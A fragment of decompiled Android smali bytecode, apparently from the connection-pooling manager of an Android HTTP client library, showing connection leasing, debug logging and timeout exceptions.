        59invoke-virtual {p2}, Lcz/msebera/android/httpclient/impl/conn/CPoolEntry;->getRoute()Ljava/lang/Object;
        60move-result-object p4
        61check-cast p4, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        63invoke-direct {p0, p4}, Lcz/msebera/android/httpclient/impl/conn/PoolingHttpClientConnectionManager;->formatStats(Lcz/msebera/android/httpclient/conn/routing/HttpRoute;)Ljava/lang/String;
        64move-result-object p4
        66invoke-virtual {p3, p4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        68invoke-virtual {p3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        69move-result-object p3
        71invoke-virtual {p1, p3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        72cond_4b:
        73invoke-static {p2}, Lcz/msebera/android/httpclient/impl/conn/CPoolProxy;->newProxy(Lcz/msebera/android/httpclient/impl/conn/CPoolEntry;)Lcz/msebera/android/httpclient/HttpClientConnection;
        74move-result-object p1
        75return-object p1
        76cond_50: new-instance p1, Ljava/lang/InterruptedException;
        78invoke-direct {p1}, Ljava/lang/InterruptedException;-><init>()V
        79throw p1
        80try_end_56: new-instance p1, Lcz/msebera/android/httpclient/conn/ConnectionPoolTimeoutException;
        82const-string p2, "Timeout waiting for connection from pool"
        84invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/conn/ConnectionPoolTimeoutException;-><init>(Ljava/lang/String;)V
        85throw p1